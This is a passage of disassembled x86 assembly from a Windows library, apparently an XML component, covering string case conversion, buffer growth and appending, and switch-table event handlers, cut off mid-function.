		test	eax, eax
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	esi, ecx
		jbe	short loc_69B4E054
		mov	[ebp+var_4], eax


loc_69B4E015:				; CODE XREF: sub_69B4DFFF+53j
		xor	edi, edi
		mov	di, [ebx]
		cmp	di, 80h
		jnb	short loc_69B4E035
		cmp	di, 61h
		jb	short loc_69B4E04D
		cmp	di, 7Ah
		ja	short loc_69B4E04D
		add	edi, 0FFFFFFE0h
		mov	[ebx], di
		jmp	short loc_69B4E04D
; ---------------------------------------------------------------------------


loc_69B4E035:				; CODE XREF: sub_69B4DFFF+20j
		push	edi
		call	ds:SHLWAPI_26
		test	eax, eax
		jnz	short loc_69B4E04D
		movzx	eax, di
		push	eax
		call	ds:SHLWAPI_43
		mov	[ebx], ax


loc_69B4E04D:				; CODE XREF: sub_69B4DFFF+26j
					; sub_69B4DFFF+2Cj ...
		inc	ebx
		inc	ebx
		dec	[ebp+var_4]
		jnz	short loc_69B4E015


loc_69B4E054:				; CODE XREF: sub_69B4DFFF+11j
		push	[ebp+arg_4]
		mov	ecx, [esi+0Ch]
		push	[ebp+arg_0]
		call	sub_69B1941C
		mov	edi, eax
		xor	eax, eax
		cmp	edi, eax
		jnz	short loc_69B4E091
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B4DBEA
		push	[ebp+arg_4]
		mov	esi, [esi+0Ch]
		push	[ebp+arg_0]
		mov	edi, eax
		call	sub_69B190C1
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_69B3182D


loc_69B4E091:				; CODE XREF: sub_69B4DFFF+69j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B4DFFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B4E09A(LPCWSTR lpString, int, char, char)

sub_69B4E09A	proc near		; CODE XREF: sub_69B3E5A2+6Dp
					; sub_69B4D02C+90p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
lpString	= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+lpString]	; lpString
		mov	edi, ecx
		mov	[ebp+var_C], edi
		call	ds:lstrlenW	; lstrlenW
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+lpString]
		call	sub_69B31F88
		xor	ebx, ebx
		test	al, al
		jnz	short loc_69B4E0D9
		push	ebx
		push	0C00CE505h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B4E0D9:				; CODE XREF: sub_69B4E09A+2Aj
		cmp	[ebp+arg_C], bl
		jnz	short loc_69B4E0E1
		mov	[ebp+var_4], ebx


loc_69B4E0E1:				; CODE XREF: sub_69B4E09A+42j
		mov	esi, [ebp+arg_4]
		cmp	esi, ebx
		jz	short loc_69B4E0EF
		cmp	[esi], bx
		jnz	short loc_69B4E0EF
		xor	esi, esi


loc_69B4E0EF:				; CODE XREF: sub_69B4E09A+4Cj
					; sub_69B4E09A+51j
		cmp	[ebp+var_4], ebx
		jz	short loc_69B4E11D
		push	[ebp+var_4]
		push	[ebp+lpString]
		call	sub_69B4D200
		test	al, al
		jz	short loc_69B4E11D
		push	[ebp+var_4]	; int
		mov	ecx, edi
		push	[ebp+lpString]	; lpString
		push	ebx		; int
		call	sub_69B4D394
		push	eax
		call	sub_69B4D2B6
		mov	esi, eax
		mov	edi, esi
		jmp	short loc_69B4E13E
; ---------------------------------------------------------------------------


loc_69B4E11D:				; CODE XREF: sub_69B4E09A+58j
					; sub_69B4E09A+67j
		cmp	esi, ebx
		jz	short loc_69B4E13A
		push	0FFFFFFFFh	; int
		push	esi		; lpString
		push	ebx		; int
		mov	ecx, edi
		call	sub_69B4D394
		mov	esi, eax
		push	esi
		mov	ecx, edi
		call	sub_69B4DA96
		mov	edi, eax
		jmp	short loc_69B4E13E
; ---------------------------------------------------------------------------


loc_69B4E13A:				; CODE XREF: sub_69B4E09A+85j
		xor	esi, esi
		xor	edi, edi


loc_69B4E13E:				; CODE XREF: sub_69B4E09A+81j
					; sub_69B4E09A+9Ej
		cmp	edi, ebx
		jnz	short loc_69B4E168
		cmp	[ebp+arg_8], bl
		jz	short loc_69B4E168
		cmp	[ebp+var_4], ebx
		jz	short loc_69B4E168
		push	ebx
		push	[ebp+var_4]
		push	[ebp+lpString]
		call	sub_69B190C1
		push	eax
		mov	eax, 0C00CE01Dh
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 10h


loc_69B4E168:				; CODE XREF: sub_69B4E09A+A6j
					; sub_69B4E09A+ABj ...
		mov	ecx, [ebp+var_C]
		push	1		; int
		push	esi		; int
		push	edi		; int
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	[ebp+var_8]	; int
		push	[ebp+lpString]	; lpString
		call	sub_69B4D62C
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_69B4E09A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4E185	proc near		; CODE XREF: sub_69B4E20A+2p
					; sub_69B5CB6E+42p

arg_0		= byte ptr  4

		push	ebx
		push	esi
		mov	esi, ecx
		xor	eax, eax
		mov	al, [esi+24h]
		push	edi
		push	eax
		call	sub_69B1A6EC
		mov	edi, eax
		mov	ecx, edi
		call	sub_69B17275
		mov	ecx, esi
		mov	ebx, eax
		call	sub_69B17275
		cmp	ebx, eax
		jnz	short loc_69B4E1B9
		lea	eax, [esi+0Ch]
		push	eax
		lea	ecx, [edi+0Ch]
		call	sub_69B4D414
		jmp	short loc_69B4E1D1
; ---------------------------------------------------------------------------


loc_69B4E1B9:				; CODE XREF: sub_69B4E185+24j
		mov	ecx, [esi+0Ch]
		push	edi
		push	offset loc_69B4DA6B
		call	sub_69B31749
		push	eax
		lea	eax, [edi+0Ch]
		push	eax
		call	sub_69B17320


loc_69B4E1D1:				; CODE XREF: sub_69B4E185+32j
		cmp	dword ptr [esi+20h], 0
		jz	short loc_69B4E202
		cmp	[esp+0Ch+arg_0], 0
		jz	short loc_69B4E202
		lea	eax, [esi+18h]
		push	eax
		lea	ecx, [edi+18h]
		call	sub_69B4D414
		mov	ecx, [esi+1Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+28h]
		push	eax
		lea	eax, [edi+1Ch]
		push	eax
		call	sub_69B17320
		mov	eax, [esi+20h]
		mov	[edi+20h], eax


loc_69B4E202:				; CODE XREF: sub_69B4E185+50j
					; sub_69B4E185+57j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_69B4E185	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4E20A	proc near		; DATA XREF: .text:69B12724o
		push	1
		call	sub_69B4E185
		retn
sub_69B4E20A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4E212	proc near		; CODE XREF: sub_69B4E3A1+36p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		lea	eax, [ebx+ebx+10h]
		push	eax
		mov	edi, ecx
		call	sub_69B17EF3
		mov	esi, eax
		mov	ecx, esi
		mov	[esi+8], ebx
		call	sub_69B19118
		push	0
		push	edi
		mov	dword ptr [esi], offset	off_69B121D0
		push	dword ptr [edi+8]
		mov	ecx, esi
		push	0
		call	sub_69B2E6E3
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_69B4E212	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4E24E	proc near		; CODE XREF: sub_69B4E278+5p
					; sub_69B4F64F+11p ...
		push	esi
		mov	esi, ecx
		push	offset dword_69B4E268
		lea	ecx, [esi+4]
		call	sub_69B1D9B7
		call	sub_69B1E031
		mov	eax, esi
		pop	esi
		retn
sub_69B4E24E	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B4E268	dd 0D242361Fh, 11D251A0h, 6000AF9Ch, 393DECB0h
; =============== S U B	R O U T	I N E =======================================



sub_69B4E278	proc near		; CODE XREF: sub_69B3DA5B+7p
					; sub_69B4EE6F+9p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B4E24E
		mov	edi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		mov	[esi+10h], ebx
		lea	eax, [esi+14h]
		mov	[eax], ebx
		mov	[esi+18h], ebx
		mov	[esi+20h], ebx
		mov	[esi+30h], ebx
		mov	[esi+38h], ebx
		push	dword ptr [edi+50h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B2DEB2
		push	ebx
		lea	eax, [esi+38h]
		push	eax
		mov	[esi+34h], bl
		mov	[esi+3Ch], ebx
		call	sub_69B17320
		mov	[esi+40h], bl
		mov	al, [edi+8Eh]
		mov	[esi+2Dh], al
		mov	[esi+2Ch], al
		cmp	[edi+0E8h], ebx
		jz	short loc_69B4E31D
		push	50h
		call	sub_69B17EF3
		mov	edi, eax
		mov	ecx, edi
		mov	dword ptr [edi+8], 10h
		call	sub_69B19118
		push	edi
		lea	eax, [esi+18h]
		push	eax
		mov	dword ptr [edi], offset	off_69B1EE00
		call	sub_69B17320
		push	50h
		call	sub_69B17EF3
		mov	edi, eax
		mov	ecx, edi
		mov	dword ptr [edi+8], 10h
		call	sub_69B19118
		mov	dword ptr [edi], offset	off_69B1EE00
		push	edi
		jmp	short loc_69B4E328
; ---------------------------------------------------------------------------


loc_69B4E31D:				; CODE XREF: sub_69B4E278+5Cj
		push	ebx
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17320
		push	ebx


loc_69B4E328:				; CODE XREF: sub_69B4E278+A3j
		lea	eax, [esi+20h]
		push	eax
		call	sub_69B17320
		or	dword ptr [esi+1Ch], 0FFFFFFFFh
		or	dword ptr [esi+24h], 0FFFFFFFFh
		pop	edi
		mov	[esi+28h], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_69B4E278	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4E344	proc near		; CODE XREF: sub_69B3DA9D+1Cj
					; sub_69B4EEA0+26j
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, ecx
		push	0
		lea	edi, [esi+10h]
		push	edi
		call	sub_69B17320
		push	0
		lea	ebx, [esi+0Ch]
		push	ebx
		call	sub_69B2DEB2
		push	0
		lea	ebp, [esi+34h]
		push	ebp
		call	sub_69B17320
		push	ebp
		call	sub_69B17230
		lea	eax, [esi+2Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+1Ch]
		push	eax
		call	sub_69B17230
		add	esi, 14h
		push	esi
		call	sub_69B17230
		push	edi
		call	sub_69B17230
		push	ebx
		call	sub_69B2DEDD
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		jmp	sub_69B2C65C
sub_69B4E344	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4E3A1	proc near		; CODE XREF: sub_69B4E98C+6Dp
					; sub_69B4E98C+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		push	ebx
		mov	ebx, ecx
		mov	eax, [ebx+3Ch]
		mov	ecx, [ebx+38h]
		push	esi
		add	eax, edx
		test	ecx, ecx
		push	edi
		jz	short loc_69B4E3BB
		mov	esi, [ecx+8]
		jmp	short loc_69B4E3BD
; ---------------------------------------------------------------------------


loc_69B4E3BB:				; CODE XREF: sub_69B4E3A1+13j
		xor	esi, esi


loc_69B4E3BD:				; CODE XREF: sub_69B4E3A1+18j
		cmp	eax, esi
		jbe	short loc_69B4E40A
		test	esi, esi
		jnz	short loc_69B4E3CE
		mov	esi, 400h
		jmp	short loc_69B4E3CE
; ---------------------------------------------------------------------------


loc_69B4E3CC:				; CODE XREF: sub_69B4E3A1+2Fj
		add	esi, esi


loc_69B4E3CE:				; CODE XREF: sub_69B4E3A1+22j
					; sub_69B4E3A1+29j
		cmp	eax, esi
		ja	short loc_69B4E3CC
		test	ecx, ecx
		jz	short loc_69B4E3DE
		push	esi
		call	sub_69B4E212
		jmp	short loc_69B4E3FC
; ---------------------------------------------------------------------------


loc_69B4E3DE:				; CODE XREF: sub_69B4E3A1+33j
		lea	eax, [esi+esi+10h]
		push	eax
		call	sub_69B17EF3
		mov	edi, eax
		mov	ecx, edi
		mov	[edi+8], esi
		call	sub_69B19118
		mov	dword ptr [edi], offset	off_69B121D0
		mov	eax, edi


loc_69B4E3FC:				; CODE XREF: sub_69B4E3A1+3Bj
		push	eax
		lea	eax, [ebx+38h]
		push	eax
		call	sub_69B17320
		mov	edx, [esp+0Ch+arg_4]


loc_69B4E40A:				; CODE XREF: sub_69B4E3A1+1Ej
		mov	eax, [ebx+3Ch]
		mov	edi, [ebx+38h]
		mov	esi, [esp+0Ch+arg_0]
		lea	edi, [edi+eax*2+0Ch]
		mov	ecx, edx
		rep movsw
		add	[ebx+3Ch], edx
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_69B4E3A1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4E426	proc near		; CODE XREF: sub_69B4E45A+96p
					; sub_69B4EA49+4Bp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi+38h]
		push	edi
		push	dword ptr [esi+3Ch]
		add	eax, 0Ch
		push	eax
		call	sub_69B190D7
		lea	edi, [esi+30h]
		mov	ecx, [edi]
		mov	edx, [ecx]
		push	eax
		call	dword ptr [edx+114h]
		push	0
		push	edi
		call	sub_69B17320
		and	dword ptr [esi+3Ch], 0
		pop	edi
		mov	byte ptr [esi+34h], 0
		pop	esi
		retn
sub_69B4E426	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4E45A	proc near		; DATA XREF: .text:69B123E8o

arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_8]
		cmp	eax, 9		; switch 10 cases
		push	ebx
		push	esi
		ja	loc_69B4E559	; default
					; jumptable 69B4E46B case 6
		jmp	ds:off_69B4E561[eax*4] ; switch	jump


loc_69B4E472:				; DATA XREF: .text:off_69B4E561o
		mov	esi, [ebp+arg_0] ; jumptable 69B4E46B case 0
		xor	ebx, ebx
		push	ebx
		lea	eax, [esi+30h]
		push	eax
		mov	[esi+44h], bl
		call	sub_69B17320
		mov	eax, [esi+10h]
		mov	eax, [eax+4Ch]
		and	byte ptr [eax+0Ah], 0FEh
		mov	[esi+48h], eax
		mov	eax, [esi+10h]
		mov	cl, [eax+82h]
		mov	[esi+41h], cl
		mov	byte ptr [esi+4Ch], 1
		mov	eax, [eax+5Ch]
		push	dword ptr [eax+18h]
		lea	eax, [esi+50h]
		push	eax
		call	sub_69B17320
		mov	ecx, [esi+10h]
		mov	eax, [ecx]
		call	dword ptr [eax+44h]
		jmp	loc_69B4E559	; default
					; jumptable 69B4E46B case 6
; ---------------------------------------------------------------------------


loc_69B4E4BD:				; CODE XREF: sub_69B4E45A+11j
					; DATA XREF: .text:off_69B4E561o
		mov	eax, [ebp+arg_0] ; jumptable 69B4E46B cases 1,3
		inc	dword ptr [eax+28h]
		jmp	loc_69B4E559	; default
					; jumptable 69B4E46B case 6
; ---------------------------------------------------------------------------


loc_69B4E4C8:				; CODE XREF: sub_69B4E45A+11j
					; DATA XREF: .text:off_69B4E561o
		mov	eax, [ebp+arg_0] ; jumptable 69B4E46B cases 2,4
		dec	dword ptr [eax+28h]
		jmp	loc_69B4E559	; default
					; jumptable 69B4E46B case 6
; ---------------------------------------------------------------------------


loc_69B4E4D3:				; CODE XREF: sub_69B4E45A+11j
					; DATA XREF: .text:off_69B4E561o
		mov	esi, [ebp+arg_0] ; jumptable 69B4E46B case 5
		mov	ecx, [esi+10h]
		mov	eax, [ecx]
		call	dword ptr [eax+48h]
		mov	byte ptr [esi+4Ch], 0
		jmp	short loc_69B4E559 ; default
					; jumptable 69B4E46B case 6
; ---------------------------------------------------------------------------


loc_69B4E4E4:				; CODE XREF: sub_69B4E45A+11j
					; DATA XREF: .text:off_69B4E561o
		mov	esi, [ebp+arg_0] ; jumptable 69B4E46B case 7
		xor	ebx, ebx
		cmp	[esi+3Ch], ebx
		jbe	short loc_69B4E4F5
		mov	ecx, esi
		call	sub_69B4E426


loc_69B4E4F5:				; CODE XREF: sub_69B4E45A+92j
		push	ebx
		lea	eax, [esi+30h]
		push	eax
		call	sub_69B17320
		mov	[esi+34h], bl
		jmp	short loc_69B4E559 ; default
					; jumptable 69B4E46B case 6
; ---------------------------------------------------------------------------


loc_69B4E504:				; CODE XREF: sub_69B4E45A+11j
					; DATA XREF: .text:off_69B4E561o
		mov	esi, [ebp+arg_0] ; jumptable 69B4E46B case 8
		xor	ebx, ebx
		cmp	[esi+40h], bl
		jnz	short loc_69B4E51D
		mov	ecx, [esi+10h]
		call	sub_69B3DABE
		mov	ecx, eax
		call	sub_69B8B602


loc_69B4E51D:				; CODE XREF: sub_69B4E45A+B2j
		mov	ecx, [esi+10h]
		call	sub_69B3EE2A
		push	ebx
		lea	eax, [esi+30h]
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+38h]
		push	eax
		mov	[esi+3Ch], ebx
		call	sub_69B17320
		mov	[esi+2Ch], bl
		mov	[esi+44h], bl
		push	ebx
		add	esi, 50h
		push	esi
		call	sub_69B17320
		jmp	short loc_69B4E559 ; default
					; jumptable 69B4E46B case 6
; ---------------------------------------------------------------------------


loc_69B4E54E:				; CODE XREF: sub_69B4E45A+11j
					; DATA XREF: .text:off_69B4E561o
		mov	eax, [ebp+arg_0] ; jumptable 69B4E46B case 9
		mov	ecx, [eax+10h]
		mov	eax, [ecx]
		call	dword ptr [eax+70h]


loc_69B4E559:				; CODE XREF: sub_69B4E45A+Bj
					; sub_69B4E45A+11j ...
		pop	esi		; default
					; jumptable 69B4E46B case 6
		xor	eax, eax
		pop	ebx
		pop	ebp
		retn	0Ch
sub_69B4E45A	endp

; ---------------------------------------------------------------------------
off_69B4E561	dd offset loc_69B4E472	; DATA XREF: sub_69B4E45A+11r
		dd offset loc_69B4E4BD	; jump table for switch	statement
		dd offset loc_69B4E4C8
		dd offset loc_69B4E4BD
		dd offset loc_69B4E4C8
		dd offset loc_69B4E4D3
		dd offset loc_69B4E559
		dd offset loc_69B4E4E4
		dd offset loc_69B4E504
		dd offset loc_69B4E54E

; =============== S U B	R O U T	I N E =======================================



sub_69B4E589	proc near		; DATA XREF: .text:69B123ECo

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_8]
		mov	ebx, [edi+20h]
		push	0
		lea	eax, [esi+30h]
		push	eax
		call	sub_69B17320
		cmp	byte ptr [esi+2Ch], 0
		mov	byte ptr [esi+34h], 0
		jz	short loc_69B4E5B4
		mov	eax, ebx
		or	eax, 2
		mov	[edi+20h], eax


loc_69B4E5B4:				; CODE XREF: sub_69B4E589+21j
		cmp	byte ptr [esi+44h], 0
		jz	short loc_69B4E5C2
		mov	al, [esi+45h]
		mov	[esi+2Ch], al
		jmp	short loc_69B4E5D3
; ---------------------------------------------------------------------------


loc_69B4E5C2:				; CODE XREF: sub_69B4E589+2Fj
		test	ebx, 4
		jz	short loc_69B4E5D3
		shr	ebx, 3
		and	bl, 1
		mov	[esi+2Ch], bl


loc_69B4E5D3:				; CODE XREF: sub_69B4E589+37j
					; sub_69B4E589+3Fj
		pop	edi
		mov	byte ptr [esi+44h], 0
		pop	esi
		xor	eax, eax
		pop	ebx
		retn	0Ch
sub_69B4E589	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4E5DF	proc near		; DATA XREF: .text:69B123F4o

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	ecx, [esi+10h]
		push	edi
		xor	edi, edi
		push	edi
		mov	byte ptr [esi+40h], 1
		call	sub_69B3D622
		mov	ecx, [esi+10h]
		call	sub_69B3EE2A
		push	edi
		lea	eax, [esi+30h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+38h]
		push	eax
		mov	[esi+3Ch], edi
		call	sub_69B17320
		push	edi
		lea	eax, [esi+50h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17320
		or	dword ptr [esi+1Ch], 0FFFFFFFFh
		mov	eax, [esp+8+arg_8]
		pop	edi
		pop	esi
		retn	14h
sub_69B4E5DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4E634	proc near		; CODE XREF: sub_69B4EA49+C4p
					; sub_69B5B558+1ABp ...
		push	78h
		push	offset dword_69B4E980
		call	sub_69B19C5C
		and	dword ptr [ebp-4], 0
		mov	edi, [ebp+10h]
		mov	ecx, edi
		call	sub_69B3DABE
		mov	[ebp-1Ch], eax
		mov	esi, [ebp+0Ch]
		mov	eax, [esi+8]
		shr	eax, 14h
		and	al, 1
		mov	cl, al
		neg	cl
		sbb	ecx, ecx
		not	ecx
		mov	ebx, [ebp+14h]
		and	ecx, ebx
		mov	[ebp-20h], ecx
		neg	al
		sbb	eax, eax
		and	eax, ebx
		mov	[ebp-24h], eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0E0h]
		mov	[ebp-28h], eax
		test	ebx, ebx
		jz	short loc_69B4E691
		test	eax, eax
		jnz	short loc_69B4E691
		mov	ecx, ebx
		call	sub_69B8C6AD


loc_69B4E691:				; CODE XREF: sub_69B4E634+50j
					; sub_69B4E634+54j
		mov	[ebp-2Ch], eax
		mov	eax, [edi+70h]
		mov	[ebp-30h], eax
		mov	[ebp-34h], eax
		push	esi
		mov	ecx, [ebp-1Ch]
		call	sub_69B8B21E
		push	1
		push	1
		push	0
		mov	ecx, esi
		call	sub_69B4AAFC
		mov	edi, eax
		mov	[ebp-38h], edi
		cmp	dword ptr [ebp-2Ch], 1
		jle	short loc_69B4E6D7
		cmp	dword ptr [ebp-2Ch], 0Ch
		jge	short loc_69B4E6D7
		push	1
		push	edi
		push	dword ptr [ebp-2Ch]
		mov	ecx, [ebp-30h]
		call	sub_69B4DE11
		mov	[ebp-3Ch], eax
		jmp	short loc_69B4E6DA
; ---------------------------------------------------------------------------


loc_69B4E6D7:				; CODE XREF: sub_69B4E634+88j
					; sub_69B4E634+8Ej
		mov	[ebp-3Ch], edi


loc_69B4E6DA:				; CODE XREF: sub_69B4E634+A1j
		mov	eax, [ebp-2Ch]
		dec	eax
		cmp	eax, 0Ah	; switch 11 cases
		ja	short loc_69B4E729 ; default
		movzx	eax, ds:byte_69B4E970[eax]
		jmp	ds:off_69B4E95C[eax*4] ; switch	jump


loc_69B4E6F1:				; DATA XREF: .text:off_69B4E95Co
		test	ebx, ebx	; jumptable 69B4E6EA case 0
		jz	short loc_69B4E729 ; default
		mov	eax, [ebx+24h]
		mov	[ebp-40h], eax
		mov	ebx, [ebx+28h]
		mov	[ebp-44h], ebx
		mov	ecx, [edi+8]
		mov	[ebp-48h], ecx
		mov	edx, [edi+0Ch]
		mov	[ebp-4Ch], edx
		push	eax
		push	ebx
		push	ecx
		push	edx
		call	sub_69B303F8
		mov	[ebp-50h], eax
		test	eax, eax
		jge	short loc_69B4E729 ; default
		push	0
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B4E729:				; CODE XREF: sub_69B4E634+ADj
					; sub_69B4E634+BFj ...
		mov	ecx, [ebp-24h]	; default
		test	ecx, ecx
		jz	loc_69B4E950	; jumptable 69B4E6EA case 10
		push	edi
		cmp	byte ptr [ebp+18h], 0
		jz	loc_69B4E917
		lea	eax, [ecx+2Ch]
		mov	[ebp-88h], eax
		jmp	loc_69B4E90C
; ---------------------------------------------------------------------------


loc_69B4E74D:				; CODE XREF: sub_69B4E634+B6j
					; DATA XREF: .text:off_69B4E95Co
		mov	edi, [ebp-24h]	; jumptable 69B4E6EA cases 8,9
		xor	ebx, ebx
		cmp	edi, ebx
		jnz	short loc_69B4E7CE
		mov	eax, [ebp-20h]
		cmp	eax, ebx
		jnz	short loc_69B4E765
		push	ebx
		mov	ecx, esi
		call	sub_69B48E56


loc_69B4E765:				; CODE XREF: sub_69B4E634+127j
		mov	ecx, eax
		mov	[ebp-20h], ecx
		cmp	ecx, ebx
		jz	short loc_69B4E778
		push	dword ptr [ebp-3Ch]
		call	sub_69B8C6DE
		jmp	short loc_69B4E7CE
; ---------------------------------------------------------------------------


loc_69B4E778:				; CODE XREF: sub_69B4E634+138j
		push	dword ptr [ebp+10h]
		push	0Fh
		push	20h
		call	sub_69B3DA47
		push	eax
		mov	ecx, esi
		call	sub_69B49C1F
		mov	[ebp-54h], eax
		cmp	eax, ebx
		jnz	short loc_69B4E7A3
		push	ebx
		mov	eax, 0C00CE115h
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B4E7A3:				; CODE XREF: sub_69B4E634+15Dj
		push	1
		push	ebx
		push	1
		push	ebx
		mov	ecx, [ebp-54h]
		call	sub_69B4AAFC
		push	eax
		push	8
		mov	ecx, [ebp-30h]
		call	sub_69B4DE11
		mov	[ebp-58h], eax
		push	esi
		push	dword ptr [ebp-3Ch]
		push	eax
		call	sub_69B48167
		jmp	short loc_69B4E7CE
; ---------------------------------------------------------------------------


loc_69B4E7CB:				; CODE XREF: sub_69B4E634+B6j
					; DATA XREF: .text:off_69B4E95Co
		mov	edi, [ebp-24h]	; jumptable 69B4E6EA cases 1,6


loc_69B4E7CE:				; CODE XREF: sub_69B4E634+120j
					; sub_69B4E634+142j ...
		test	edi, edi
		jz	loc_69B4E950	; jumptable 69B4E6EA case 10
		mov	ecx, edi
		cmp	byte ptr [ebp+18h], 0
		jz	loc_69B4E914
		mov	eax, [ebp-3Ch]
		mov	[ebp-5Ch], eax
		push	eax
		call	sub_69B8C6DE
		lea	eax, [edi+2Ch]
		mov	[ebp-60h], eax
		jmp	loc_69B4E909
; ---------------------------------------------------------------------------


loc_69B4E7F9:				; CODE XREF: sub_69B4E634+B6j
					; DATA XREF: .text:off_69B4E95Co
		push	dword ptr [ebp-3Ch] ; jumptable	69B4E6EA cases 2-5,7
		lea	ecx, [ebp-68h]
		call	sub_69B8A0E9


loc_69B4E804:				; CODE XREF: sub_69B4E634+2BAj
		mov	eax, [ebp-68h]
		cmp	eax, [ebp-64h]
		jnb	loc_69B4E8F3
		mov	edi, [eax]
		mov	[ebp-6Ch], edi
		mov	eax, [ebp-2Ch]
		sub	eax, 3
		jz	short loc_69B4E894
		dec	eax
		jz	short loc_69B4E897
		dec	eax
		jz	short loc_69B4E82B
		dec	eax
		jz	short loc_69B4E82E
		jmp	loc_69B4E8EA
; ---------------------------------------------------------------------------


loc_69B4E82B:				; CODE XREF: sub_69B4E634+1EDj
		mov	[ebp-3Ch], edi


loc_69B4E82E:				; CODE XREF: sub_69B4E634+1F0j
		push	0
		push	edi
		mov	ecx, [ebp-1Ch]
		call	sub_69B8AFBA
		mov	ebx, eax
		mov	[ebp-70h], ebx
		test	ebx, ebx
		jnz	short loc_69B4E85A
		push	eax
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+2Ch]
		push	eax
		mov	eax, 0C00CE002h
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 10h


loc_69B4E85A:				; CODE XREF: sub_69B4E634+20Cj
		mov	ebx, [ebx+20h]
		mov	[ebp-74h], ebx
		test	ebx, ebx
		jnz	loc_69B4E8EA
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		mov	[ebp-78h], eax
		push	ebx
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+2Ch]
		push	eax
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+2Ch]
		push	eax
		mov	eax, 0C00CE005h
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 14h
		jmp	short loc_69B4E8EA
; ---------------------------------------------------------------------------


loc_69B4E894:				; CODE XREF: sub_69B4E634+1E7j
		mov	[ebp-3Ch], edi


loc_69B4E897:				; CODE XREF: sub_69B4E634+1EAj
		cmp	byte ptr [ebp+18h], 0
		jnz	short loc_69B4E8EA
		push	edi
		mov	ecx, [ebp-1Ch]
		call	sub_69B8B00F
		mov	[ebp-7Ch], eax
		test	eax, eax
		jnz	short loc_69B4E8EA
		mov	ebx, [ebp+8]
		test	ebx, ebx
		jz	short loc_69B4E8BF
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+1Ch]
		mov	[ebp-80h], eax
		jmp	short loc_69B4E8C3
; ---------------------------------------------------------------------------


loc_69B4E8BF:				; CODE XREF: sub_69B4E634+27Ej
		and	dword ptr [ebp-80h], 0


loc_69B4E8C3:				; CODE XREF: sub_69B4E634+289j
		test	ebx, ebx
		jz	short loc_69B4E8CF
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+18h]
		jmp	short loc_69B4E8D1
; ---------------------------------------------------------------------------


loc_69B4E8CF:				; CODE XREF: sub_69B4E634+291j
		xor	eax, eax


loc_69B4E8D1:				; CODE XREF: sub_69B4E634+299j
		push	0
		push	0
		push	dword ptr [ebp-80h]
		push	eax
		push	edi
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+3Ch]
		push	eax
		mov	ecx, [ebp-1Ch]
		call	sub_69B8B5C1


loc_69B4E8EA:				; CODE XREF: sub_69B4E634+1F2j
					; sub_69B4E634+22Ej ...
		add	dword ptr [ebp-68h], 4
